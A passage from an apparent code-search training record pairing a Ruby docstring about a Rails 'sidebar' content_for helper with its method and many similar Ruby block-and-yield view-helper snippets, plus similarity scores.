\"tweet\"\nend", "def if_block_given\n p \"hoge\"\n yield if block_given?\n p \"end\"\nend", "def block?; end", "def _layout_for(names, &block)\n with_output_buffer do\n # This is due to the potentially ambiguous use of yield when\n # a block is passed in to a template *and* there is a content_for()\n # of the same name. Suggested solution: require explicit use of content_for\n # in these ambiguous cases.\n #\n # We would be able to continue supporting yield in all non-ambiguous\n # cases. Question: should we deprecate yield in favor of content_for\n # and reserve yield for cases where there is a yield into a real block?\n if @_content_for.key?(names.first) || !block_given?\n return @_content_for[names.first || :layout]\n else\n return yield(names)\n end\n end\n end", "def gimme\n if block_given?\n yield\n else\n puts \"I'm blockless!\"\n end\nend", "def content_tag_with_block(name, content_or_options_with_block=nil,options={})\n if block_given?\n options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)\n content_tag_without_block(name, yield, options)\n else\n content_tag_without_block(name, content_or_options_with_block, options)\n end\n end", "def speak_the_truth\n yield \"Boris\" if block_given?\nend", "def render_or_pass(&block)\n begin yield\n rescue Exception => e\n logger.error e.message\n pass\n end\n end", "def sidebar(&block)\n content_for :sidebar, &block\n end", "def admin_content(&block)\n yield if logged_in? && User.find(session[:user]).is_admin?\n end", "def block?\n block_tag? || block_body? || document?\n end", "def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end", "def only_if(message = nil)\n return unless block_given?\n return if @__skip_only_if_eval == true\n\n @__skip_rule[:result] ||= !yield\n @__skip_rule[:message] = message\n end", "def do_something_with_an_arg\n yield(\"Hello world 3\") if block_given?\nend", "def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end", "def content\n if @block\n instance_eval(&@block)\n end\n end", "def i_check_if_block\n if block_given?\n yield\n else\n puts \"no block\"\n end\nend", "def evaluate_default_frame\n return if ignore_default_frame?\n self.ignore_default_frame = true\n yield\n ensure\n self.ignore_default_frame = false\n end", "def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end", "def capture_template_block(*args, &blk)\n if respond_to?(:is_haml?) && is_haml?\n capture_haml(*args, &blk)\n else\n with_output_buffer(&blk)\n end\n end", "def context label, &block\n return unless block\n Tiramisu.define_and_register_a_context(label, block, self)\n end", "def handle_blank(value)\n if value.present?\n if block_given?\n yield\n else\n value.to_s\n end\n else\n h.raw('<span class=\"metadata\">not available</span>')\n end\n end", "def call_block\n puts \"start\"\n yield \"foobar\" if block_given?\n puts \"end\"\nend", "def body_content\n call_block\n end", "def were_we_given_a_block?\n\tif block_given?\n\t\t\"WE GOT A BLOCK\"\n\telse\n\t\t\"WE DIDN'T GET A BLOCK\"\n\tend\nend", "def because(msg=\"Unknown cause\", &block)\n raise ArgumentError, \"WSpec because/therefore expects a block\" unless block\n __stack.push(msg)\n yield(browser)\n __stack.pop\n end", "def run_user_block(response, body, &block)\n header = extract_header_data(response)\n case block.arity\n when 1 then yield(header)\n when 2 then yield(header, body)\n else\n raise AdsCommon::Errors::ApiException,\n \"Wrong number of block parameters: %d\" % block.arity\n end\n return nil\n end", "def say_hi(name)\r\n\tputs \"Hi #{name.capitalize}\"\r\n\tyield (name.capitalize, name.reverse.capitalize) if block_given?###only returns if block is true\r\nend", "def block_eg\n puts \"this is the first message\"\n yield\n puts \"this is the middle message\"\n yield\n puts \"this is the last\\n\\n\"\nend", "def block_caller\n if block_given?\n result_of_block = yield\n return result_of_block\n else\n return 'no block'\n end\nend", "def ui_sub_action(message)\n puts message\n yield\n end", "def blank_slate(opts = nil, &block)\n if (opts.is_a?(Hash) && opts.key?(:partial) && block.nil?) || (opts.is_a?(String) && block.nil?)\n @blank_slate_handler = opts\n elsif opts.nil? && block\n @blank_slate_handler = block\n else\n raise WiceGridArgumentError.new(\"blank_slate accepts only a string, a block, or template: 'path_to_template' \")\n end\n end", "def content_for(capture)\n @layout_block.call(capture)\n end", "def current_user_method(&block)\n @current_user = block if block\n @current_user || DEFAULT_CURRENT_USER\n end", "def print_the_value_returned_by_the_block\n if block_given?\n value = yield\n puts \"The block returned #{value}\"\n end\nend", "def print_the_value_returned_by_the_block\n if block_given?\n value = yield\n puts \"The block returned #{value}\"\n end\nend", "def default_content\n logger.info 'EyesTargetLocator.default_content()'\n unless driver.frame_chain.empty?\n logger.info 'Making preparations...'\n on_will_switch.will_switch_to_frame :default_content, nil\n logger.info 'Done! Switching to default content...'\n __getobj__.default_content\n logger.info 'Done!'\n end\n driver\n end", "def takes_block(arg)\n puts \"I got an argument! It's #{arg}!\"\n puts \"I'm still in the method!\"\n yield if block_given?\n puts \"More stuff!\"\n puts \"Even more stuff\"\nend", "def page_block(title = nil, options = {}, &block)\n block_to_partial('shared/block', options.merge(:title => title), &block)\n end", "def block_testing\r\n student1 = \"John\"\r\n student2 = \"Jane\"\r\n puts \"The student has not begun racing yet.\"\r\n yield(student1, student2)\r\nend", "def each_content_element(&block)\n # Do nothing\n end", "def header_content\n yield if block_given?\n end", "def echo_with_yield(str)\n yield if block_given?\n str\nend", "def active_block\n current_case ? blocks[current_case] : default\n end", "def for_admin\n current_user.admin? ? yield : nil unless current_user.nil?\n end", "def msg(m)\n print m + \"... \"\n $stdout.flush\n if block_given?\n msg = yield\n if msg.nil?\n ok\n else\n puts msg\n end\n end\n end", "def block_given?() end", "def description\n yield if block_given?\n end", "def content\n case @context\n when :preamble, :open\n @blocks.map {|b| b.render }.join\n # lists get iterated in the template (for now)\n # list items recurse into this block when their text and content methods are called\n when :ulist, :olist, :dlist, :colist\n @buffer\n when :listing, :literal\n apply_literal_subs(@buffer)\n when :pass\n apply_passthrough_subs(@buffer)\n when :admonition, :example, :sidebar, :quote, :verse\n if !@buffer.nil?\n apply_para_subs(@buffer)\n else\n @blocks.map {|b| b.render }.join\n end\n else\n apply_para_subs(@buffer)\n end\n end", "def gimme_your_blocks\n yield if block_given?\nend", "def poll_content(&block)\n raise NameError.new(\"Not implemented\")\n end", "def default_content; end", "def just_yield\n yield\nend", "def burger\n puts 'top bun'\n yield if block_given?\n puts 'bottom bun'\nend", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end" ]
[ "0.5673951", "0.56270355", "0.555966", "0.55463994", "0.5436744", "0.5310355", "0.53080225", "0.528811", "0.52762586", "0.52422786", "0.52124465", "0.52066976", "0.52036643", "0.5186709", "0.5175928", "0.5163236", "0.51529163", "0.5126678", "0.5107156", "0.5102283", "0.5088881", "0.5079656", "0.50795364", "0.5071005", "0.50610787", "0.50501907", "0.5047432", "0.5041956", "0.5015804", "0.5015804", "0.49946642", "0.49920067", "0.49847305", "0.49599984", "0.4956504", "0.4953885", "0.4949933", "0.49385804", "0.4937107", "0.4910259", "0.4909644", "0.49094033", "0.49092612", "0.490889", "0.48929542", "0.4888054", "0.48814788", "0.48795894", "0.4875136", "0.48704886", "0.48575464", "0.4856252", "0.48367682", "0.48328242", "0.48226067", "0.48222706", "0.48165104", "0.48122942", "0.48070267", "0.48049358", "0.48017332", "0.47531956", "0.47391266", "0.47322732", "0.47322732", "0.4729244", "0.47176024", "0.47103158", "0.4709427", "0.47033873", "0.46925622", "0.46907628", "0.46848053", "0.46790877", "0.46781558", "0.46686152", "0.46663007", "0.4663308", "0.46580946", "0.46554092", "0.46488026", "0.46482953", "0.46475604", "0.46412605", "0.46412605", "0.46412605", "0.46412605", "0.46412605", "0.46412605", "0.46412605", "0.46412605", "0.46412605", "0.46412605", "0.46412605", "0.46412605", "0.46412605" ]
0.6673743
4
Evaluates the content of block and stores the result as content_for :sidebar. Because content_for concatenates the block, you can call sidebar multiple time and yield all the final content once. See ActionView::Helpers::CaptureHelpercontent_for for the full API documentation. ==== Examples Sidebar => Sidebar
def sidebar(&block) content_for :sidebar, &block end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sidebar!\n content_for(:layout_sidebar) do\n 'true'\n end\n end", "def content_for(capture)\n @layout_block.call(capture)\n end", "def main_content\n yield if block_given?\n end", "def sidebar(classes: ['col-xs-7', 'col-sm-3', 'col-md-2'])\n sidebar!\n\n render layout: 'layouts/sidebar', locals: { sidebar_classes: classes } do\n yield\n end\n end", "def content\n if @block\n instance_eval(&@block)\n end\n end", "def outer_content_for(name, content = nil, &block)\n outer_view.instance_eval do\n content_for(name, content, &block)\n end\n\n # This was the old implementation, which didn't work for me. Also, it was needlessly complex, since we can just do an instance_eval on the outer_view and then invoke and reuse Rails' normal content_for helper.\n # The old implementation also didn't let you retrieve content with <%= content_for(:name) %> (content = nil) like the Rails one allows.\n # This was returning a different object each time outer_content_for was called -- and it certainly wasn't the same object_id as self.object_id gave from the outermost layout view, so it must be creating a new object each time or something rather than just fetching the existing one (from an instance variable, f.e.):\n #outer_view = controller.parent_controller.view_context\n #::Rails.logger.debug \"... outer_view.send(:'instance_variables')=#{ outer_view.send(:'instance_variables').inspect}\"\n #::Rails.logger.debug \"... outer_view.object_id=#{outer_view.object_id.inspect}\"\n #content = capture(&block) if block_given?\n #content_for = outer_view.send(:'instance_variable_get', :\"@_content_for\")\n #::Rails.logger.debug \"... content_for=#{content_for.inspect}\"\n #content_for[name] << content\n #outer_view.send(:'instance_variable_set', :\"@_content_for\", content_for)\n #nil\n end", "def render_sidebar\n content_tag(:section, class: \"umm-preview #{form_id}\") do\n concat(content_tag(:h4, class: 'umm-preview-sidebar-title') do\n title\n end)\n\n fields.each do |field|\n concat UmmPreviewField.new(schema_type: schema_type, preview_json: field, data: data, form_id: form_id, key: full_key, draft_id: draft_id, options: options).render\n end\n end\n end", "def content\n call_block\n end", "def content_for(*args,&block)\n if block\n helpers.content_for(*args,&block)\n else\n rawtext(helpers.content_for(*args))\n ''\n end\n end", "def content_for(symbol, &block)\n content_blocks[symbol] << capture_haml(&block)\n end", "def content\n @blocks.map {|b| b.render } * EOL\n end", "def run_block\n @_block_content = nil\n unless block.blank?\n @_block_content = if view.parent.present?\n capture(view, &block)\n else\n ## We've been called directly from a controller.\n yield(view)\n end\n end\n end", "def body_content\n call_block\n end", "def area(name, content = nil, &block)\n content = capture(&block) if block_given?\n append name, content\n render_area name\n end", "def sidebar\n @sidebar ||= find_page('Sidebar', :with_redirect => false)\n end", "def content_for(sym, &block)\n if block_given?\n instance_variable_set(\"@content_for_#{sym}\", capture_haml(&block))\n else\n instance_variable_get(\"@content_for_#{sym}\")\n end\n end", "def sidebar_menu(title, &block)\n content_tag :ul, class: 'sidebar-menu tree', data: { widget: 'tree' } do\n concat(content_tag(:li, title, class: 'header'))\n concat(yield(block))\n end\n end", "def content\n case @context\n when :preamble, :open\n @blocks.map {|b| b.render }.join\n # lists get iterated in the template (for now)\n # list items recurse into this block when their text and content methods are called\n when :ulist, :olist, :dlist, :colist\n @buffer\n when :listing, :literal\n apply_literal_subs(@buffer)\n when :pass\n apply_passthrough_subs(@buffer)\n when :admonition, :example, :sidebar, :quote, :verse\n if !@buffer.nil?\n apply_para_subs(@buffer)\n else\n @blocks.map {|b| b.render }.join\n end\n else\n apply_para_subs(@buffer)\n end\n end", "def admin_area(&block)\n # check for condition; eg, if admin?\n if true\n # # using only concat\n # concat('<div class=\"admin\">'.html_safe)\n # yield\n # concat('</div>'.html_safe)\n # using concat and capture, no need for yield\n concat content_tag :div, capture(&block), class: \"admin\"\n end\n end", "def get_contents_as_blocks(context)\n \n ContentManagerSystem::Content.all(:block => true).map do |content|\n {:name => \"content_#{content.id}\",\n :description => content.title, \n :module_name => :cms, \n :theme => Themes::ThemeManager.instance.selected_theme.name}\n end\n\n end", "def help_block_sidebar(message)\n render :partial => '/shared/ubiquo/help_block_sidebar',\n :locals => {:message => message}\n end", "def side_menu(*args, &block)\n\t\tif block_given?\n\t\t\ttitle \t\t = args[0]\n\t\t\tcontent \t = capture(&block)\n\t\t\thtml_options = args[1] || {}\n\n\t\t\tside_menu(title, content, html_options)\n\t\telse\n\t\t\ttitle \t\t = args[0]\n\t\t\tcontent \t = args[1]\n\t\t\thtml_options = args[2] || {}\n\n\t\t\tif content != nil and not content.empty?\n\t\t\t\tcontent_tag(:ul, html_options) do\n\t\t\t\t\tconcat content_tag(:li, title)\n\t\t\t\t\tconcat content\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def render_document_sidebar_partial(_document = @document)\n render 'catalog/show_sidebar'\n end", "def get_sidebar(css_class=\"left\")\n @css_class = css_class\n erb :sidebar\n end", "def content_from_block content_block, *content_block_args\n context = content_block.binding\n\n orig_result_variable = eval(Program::RESULT_VARIABLE_BACKDOOR, context)\n temp_result_variable = \"#{orig_result_variable}_#{context.object_id.abs}\"\n eval \"#{temp_result_variable} = #{orig_result_variable}\", context\n\n begin\n # the content block appends to the result buffer when invoked.\n # so we temporarily replace the result buffer with an empty one,\n # invoke the content block, and viola! we now have its content.\n block_content = eval(\"#{orig_result_variable} = []\", context)\n return_value = content_block.call(*content_block_args)\n ensure\n eval \"#{orig_result_variable} = #{temp_result_variable}\", context\n end\n\n if block_content.empty?\n # no content was appended to the result buffer when the content\n # block was invoked because it did not contain any vocal directives.\n # so we return the return value of content block invocation instead.\n Array(return_value)\n else\n block_content\n end\n end", "def capture_template_block(*args, &blk)\n if respond_to?(:is_haml?) && is_haml?\n capture_haml(*args, &blk)\n else\n with_output_buffer(&blk)\n end\n end", "def each_content\n @content.each do |content|\n yield content if content\n end\n end", "def block_or_string_content\n content_block ? view_context.capture(self, &content_block) : content_string\n end", "def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end", "def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end", "def get_sidebar_items(controller)\n return [] unless sidebar_proc\n\n controller.instance_exec(&sidebar_proc)\n end", "def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end", "def get_content_for_layout()\n get_partial(@type)\n # if @type == \"home\"\n # get_partial('home')\n # elsif @type == \"page\"\n # get_partial('page')\n # elsif @type == \"article\"\n # get_partial('article')\n # elsif @type == \"category\"\n # get_partial('category')\n # end\n end", "def blog_page(&block)\n content_for(:blog_content, &block)\n render :partial => 'layouts/blog/blog_page'\n end", "def render_sidebar\n if FileTest.exist?(File.join(RAILS_ROOT, 'app', 'views', controller.controller_name.downcase, '_sidebar.html.erb')) \n render :partial => \"#{controller.controller_name.downcase}/sidebar\"\n end\n end", "def content\n div :id => 'doc3' do\n div :id => 'hd' do\n render_top_line\n h1 @page_title || 'Missing :page_title' \n end\n div :id => 'bd' do\n render_body\n end\n div :id => 'ft' do\n render_footer\n end\n end\n end", "def jqm_content(&block)\n content_tag(:div, :'data-role' => \"content\", &block)\n end", "def add_sidebar_widgets\n view_context.render \"shared/widgets\", :context => 'mainlist', :position => 'sidebar'\n end", "def column container_class, content_class, &block\n concat content_tag(:div, :class => container_class) {\n content_tag(:div, :class => content_class) {\n capture(&block)\n }\n }\n end", "def yield_content(key, *args) \n blocks = content_blocks[key.to_sym]\n return nil if blocks.empty?\n blocks.map { |content|\n capture_html(*args, &content)\n }.join\n end", "def putFragmentBlock\n puts_tag(\"fragments\") { yield }\n end", "def inside_inline_layout(template_content, &block)\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(@template.render(:inline => template_content))\n end", "def view_layouts_base_sidebar(context={})\n context[:controller].send(:render_to_string, {\n :partial => \"hooks/proto_plugin/view_layouts_base_sidebar\",\n :locals => context\n })\n end", "def inside_inline_layout(template_content, &block)\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(@template.render(:inline => template_content ), block.binding)\n end", "def inside_inline_layout(template_content, &block)\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat( @template.render(:inline => template_content) )\n end", "def html_blocklike_show(title, content)\n render('layouts/block', :title => title, :content => content) unless content.blank?\n end", "def render_to_sidebar!(partial_name, options = {})\n sidebar_contains render(options.merge(:partial => partial_name))\n end", "def yield_for(symbol)\n haml_concat(content_blocks[symbol].join)\n end", "def _layout_for(names, &block)\n with_output_buffer do\n # This is due to the potentially ambiguous use of yield when\n # a block is passed in to a template *and* there is a content_for()\n # of the same name. Suggested solution: require explicit use of content_for\n # in these ambiguous cases.\n #\n # We would be able to continue supporting yield in all non-ambiguous\n # cases. Question: should we deprecate yield in favor of content_for\n # and reserve yield for cases where there is a yield into a real block?\n if @_content_for.key?(names.first) || !block_given?\n return @_content_for[names.first || :layout]\n else\n return yield(names)\n end\n end\n end", "def footer_content\n yield if block_given?\n end", "def yield_content(key, *args)\n blocks = content_blocks[key.to_sym]\n return nil if blocks.empty?\n blocks.map { |content|\n capture_html(*args, &content)\n }.join\n end", "def layout\n html do\n head do\n title 'TrackTime'\n end\n body do\n h1 \"welcome to tracktime\"\n div.content do\n self << yield\n end\n end\n end\n end", "def body_content\n div(:id => :container, :class => container_classes().join(' ')) do\n header(:class => header_classes().join(' ')) do\n header_content()\n end\n div(:id => :main, :role => :main, :class => main_classes().join(' ')) do\n main_content()\n end\n footer(:class => footer_classes().join(' ')) do\n footer_content()\n end\n end\n #JavaScript at the bottom for fast page loading\n scripts()\n end", "def content_outline record\n blocks = record.content_blocks if record.parsed_content.present?\n return unless blocks\n\n content_tag :ul, class: 'content-outline' do\n # Loop through each block in the record, and generate a short piece of text describing that block.\n for block in blocks\n case block['type']\n when 'paragraph'\n text = block['data']['text']\n if block['data']['type'] == 'header'\n result = tag.strong(text)\n else\n result = block['data']['text'].truncate(200)\n end\n\n when 'list'\n result = ''\n result = \"<em>#{translate('admin.javascript.blocks.list.type.contents')}</em><br>\" if block['data']['type'] == 'contents'\n result += block['data']['items'].map { |i|\n depth = (i.is_a?(Hash) ? (i.dig('level') || 'h2')[1].to_i : 2) - 1\n text = i.is_a?(Hash) ? i['text'] : i\n \"#{'—' * depth} #{text}\".truncate(60)\n }.join('<br>')\n result = sanitize(result, tags: %w[em br])\n\n when 'layout'\n result = block['data']['items'].map { |i| \"— #{i['title']}\" }.join('<br>')\n result = sanitize(result, tags: %w[br])\n\n when 'catalog'\n result = translate(\"activerecord.models.#{block['data']['type'].singularize}.other\")\n result += \": #{translate('admin.content.items', count: block['data']['items'].length)}\"\n\n when 'textbox'\n result = ''\n result += \"<strong>#{block['data']['title']}</strong><br>\" if block['data']['title'].present?\n result += \"#{block['data']['text']&.truncate(60)}<br>\" if block['data']['text'].present?\n result += tag.span(\"[#{block['data']['action']}] → \") + tag.small(block['data']['url']) if block['data']['action'].present? && block['data']['url'].present?\n result = sanitize(result, tags: %w[strong br])\n\n when 'action'\n result = tag.span(\"[#{block['data']['action']}] → \") + tag.small(block['data']['url']) if block['data']['action'] && block['data']['url']\n\n when 'media'\n result = if block['data']['type'] == 'image'\n block['data']['items'].map { |i| \"#{tag.i(class: 'image icon')} <a href=\\\"#{i['image']['preview']}\\\" target=\\\"_blank\\\">#{i['image']['preview'].split('/').last}</a>#{\" - \\\"#{i['caption'].truncate(100)}\\\"\" if i['caption']}\" }\n elsif block['data']['type'] == 'audio'\n block['data']['items'].map { |i| \"#{tag.i(class: 'volume up icon')} <a href=\\\"#{i['audio']['preview']}\\\" target=\\\"_blank\\\">#{i['title']}</a>\" }\n elsif block['data']['type'] == 'youtube'\n tag.span('[YouTube Embed] → ') + tag.small(\"https://www.youtube.com/watch?v=#{block['data']['youtube_id']}\") if block['data']['youtube_id'] # TODO: Translate\n else\n block['data']['items'].map { |i| \"#{tag.i(class: \"#{block['data']['type']} icon\")} #{i['name']} (#{i['id']})\" }\n end\n result = result.join('<br>') if result.kind_of?(Array)\n result = sanitize(result, tags: %w[i a br], attributes: %w[href class target])\n\n when 'vimeo'\n result = block['data']['items'].map { |i| \"#{tag.i(class: 'video icon')} #{i['title']}\" }.join('<br>')\n result = sanitize(result, tags: %w[i a br])\n\n when 'whitespace'\n separators = {\n large: '==',\n medium: '—',\n small: '--',\n }\n\n result = separators[block['data']['size'].to_sym] * 3\n\n else\n concat block.inspect\n end\n\n concat content_tag :li, result, class: \"content-outline__#{block['type']} content-outline__#{block['type']}--#{block['data']['type']}\"\n end\n end\n end", "def show\n render layout: 'sidebar_left'\n end", "def content_for_layout(name, content) # no blocks allowed yet\n @_content_for_layout ||= {}\n if @_content_for_layout[name].respond_to?(:<<)\n @_content_for_layout[name] << ' ' << content\n else\n @_content_for_layout[name] = content\n end\n end", "def liquid_block(block)\n Liquid::Template.parse(block).render(@context)\n end", "def default_sidebar\n render(:partial => 'shared/default_sidebar')\n end", "def remove_sidebar_content(_parsed_page_object)\n stripped_page = _parsed_page_object.clone \n aside_els = stripped_page.xpath(\"//*[contains(@class, 'sidebar') or contains(@class, 'widget') or contains(@id, 'widget') or contains(@id, 'sidebar')]\" )\n aside_els.remove\n\n return stripped_page\n end", "def wrap_content_block content_block, *content_block_args, &wrapper\n raise ArgumentError, 'wrapper block must be given' unless wrapper\n\n buffer = buffer_from_block(content_block)\n content = content_from_block(content_block, *content_block_args)\n\n wrapped_content = wrapper.call(content)\n buffer << wrapped_content\n wrapped_content\n end", "def render\n if @block\n instance_eval(&@block)\n end\n end", "def admin_content(&block)\n yield if logged_in? && User.find(session[:user]).is_admin?\n end", "def body(&block)\n call_once\n if block_given?\n yield body\n else\n @body\n end\n end", "def with_raw_haml_concat\n yield\n end", "def sidebar_section(id, header, open = false, &block)\n collapse_classes = [\"navbar-collapse\", \"collapse\", \"sidebar-section\"]\n style = \"\"\n if open\n collapse_classes << \"in\"\n style = \"height: auto;\"\n end\n content_tag(:nav, class: [\"navbar\", \"navbar-default\"]) {\n content_tag(:div, class: \"navbar-header\") {\n content_tag(:button, class: [\"navbar-toggle\", \"collapsed\"], type: \"button\", data: {toggle: \"collapse\", target: \"##{id}.navbar-collapse\"}) {\n content_tag(:span, nil, class: \"icon-bar\") + content_tag(:span, nil, class: \"icon-bar\")\n }+header\n }+content_tag(:div, id: id, class: collapse_classes, style: style) { yield }\n }\n end", "def content\n super\n @renderer = @widget.content\n div :id => 'doc3' do\n if @renderer.render? :header\n div :id => 'hd' do\n if @renderer.render? :top_line\n render_top_line\n end\n if @renderer.render? :title\n h1 @page_title || 'Missing :page_title'\n end \n end\n end\n div :id => 'bd' do\n render_body\n end\n if @renderer.render? :footer\n div :id => 'ft' do\n render_footer\n end\n end\n end\n end", "def sidebar_chooser(current_user)\n unless current_user.nil?\n case current_user.role\n when \"company\" \n render :partial=>\"layouts/company_sidebars\"\n when \"admin\"\n render :partial=>\"layouts/admin_sidebars\"\n else\n render :partial=>\"layouts/applicant_sidebars\"\n end\n end\n end", "def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def content_action_list(&block)\n concat tag(:ul, :class => \"contentActionNavi\"), block.binding \n concat capture(&block), block.binding\n concat \"</ul>\", block.binding\n concat probono_clear_class, block.binding\n end", "def use_widgets(&block)\n root = apotomo_root ### DISCUSS: let RequestProcessor initialize so we get flushed, eventually. maybe add a :before filter for that? or move #use_widgets to RequestProcessor?\n \n return if bound_use_widgets_blocks.include?(block)\n \n yield root\n \n bound_use_widgets_blocks << block # remember the proc.\n end", "def login_block\n\n content_tag :div, :id => 'login-block' do\n\n if logged_in?\n # Block with username and logout\n [\n content_tag(:p, current_user.auth_name, :class => 'username'),\n content_tag(:p, :class => 'login-link logout') do\n link_to('Sign out', logout_path)\n end\n ].reduce :+\n\n else\n # Block with login\n content_tag :p, :class => 'login-link login' do\n link_to('Sign in', login_path)\n end # p\n end\n\n end # div\n end", "def bootstrap_panel_body_tag(&block)\n return unless block_given?\n content_tag(:div, capture(&block), class: 'panel-body')\n end", "def has_sidebar?\n content_for?(:layout_sidebar)\n end", "def open(width: @width, custom_class: @class)\n \"<div class='content-block column #{width} #{custom_class}'>\"\n end", "def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end", "def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end", "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def inside_layout(layout, &block)\n binding = block.binding if BINDING_REQUIRED\n\n layout = Dir.entries('app/views/layouts').detect { |a| /#{layout}/.match(a) }\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(\n @template.render(:file => \"#{RAILS_ROOT}/app/views/layouts/#{layout}\", :user_full_path => true),\n binding\n )\n end", "def fb_dashboard(&proc)\n if block_given?\n content = capture(&proc) \t\n concat(content_tag(\"fb:dashboard\",content,{}),proc.binding)\n else\n content_tag(\"fb:dashboard\",content,{})\n end\n end", "def inside_inline_layout(template_content, &block)\n binding = block.binding if BINDING_REQUIRED\n\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat( @template.render( :inline => template_content ), binding )\n end", "def sidebar\n\t\t@SidebarTitle = \"Subscriber Details\"\n\t\tslim :sidebar, :layout => false\n\tend", "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end", "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end", "def ad_widget_sidebar\n # \"TODO AD\"\n end", "def content\n c = Partial.new\n c << <<-CONTENT\n\n 1. Do the thing\n 2. Do other thing\n 3. Do the third thing\n Q. Quit the thing\n\n CONTENT\n c\n end", "def block_contents(node, context)\n block_given? ? yield : ss_comments(node)\n node << (child = block_child(context))\n while tok(/;/) || has_children?(child)\n block_given? ? yield : ss_comments(node)\n node << (child = block_child(context))\n end\n node\n end", "def layout\n yield(layout_for) if block_given?\n layout_for\n end", "def cms_block_content(identifier, blockable = @cms_page)\n return '' unless tag = ComfortableMexicanSofa::ViewMethods.cms_block_tag(identifier, blockable)\n tag.content\n end", "def cms_snippet_content(identifier, cms_site = @cms_site, &block)\n unless cms_site\n host, path = request.host.downcase, request.fullpath if respond_to?(:request) && request\n cms_site = Comfy::Cms::Site.find_site(host, path)\n end\n return '' unless cms_site\n\n snippet = cms_site.snippets.find_by_identifier(identifier)\n\n if !snippet && block_given?\n snippet = cms_site.snippets.create(\n :identifier => identifier,\n :label => identifier.to_s.titleize,\n :content => capture(&block)\n )\n end\n\n snippet ? snippet.content : ''\n end", "def content(*content, &block)\n if content.empty?\n if block.nil?\n return @content\n else\n @content = @clazz.new\n block.call(@content)\n end\n else\n @content = @clazz.new(content.first)\n end\n self\n end", "def display_as_html(content, &block)\n content = content.presence || \"\"\n if content !~ /<\\w+[^>]>/\n content = content.gsub(\"\\n\", \"<br />\")\n end\n content_tag :div, :class => \"rtf\" do\n if block_given?\n concat(capture(&block))\n end\n concat(content.html_safe)\n end\n end", "def display_as_html(content, &block)\n content = content.presence || \"\"\n if content !~ /<\\w+[^>]>/\n content = content.gsub(\"\\n\", \"<br />\")\n end\n content_tag :div, :class => \"rtf\" do\n if block_given?\n concat(capture(&block))\n end\n concat(content.html_safe)\n end\n end", "def layout( content = nil )\n content ||= site\n doctype\n html {\n head {\n\n meta :name => 'description', :content => site['description']\n meta :name => 'verify-v1', :content => 'SJp07enRMbdu2hJ8AhT08Wc6OyTAGjtvxVzo7X1k83g='\n link :rel => 'alternate', :type => 'application/rss+xml', :href => 'http://feeds.feedburner.com/MouseTrap20'\n\n stylesheet content.stylesheet,\n 'syntaxhighlighter_2/styles/shCore',\n 'syntaxhighlighter_2/styles/shThemeDefault'\n\n javascript 'http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js',\n 'syntaxhighlighter_2/scripts/shCore',\n 'syntaxhighlighter_2/scripts/shBrushRuby',\n :site\n\n title content.title\n\n }\n body {\n sidebar {\n img( :src => 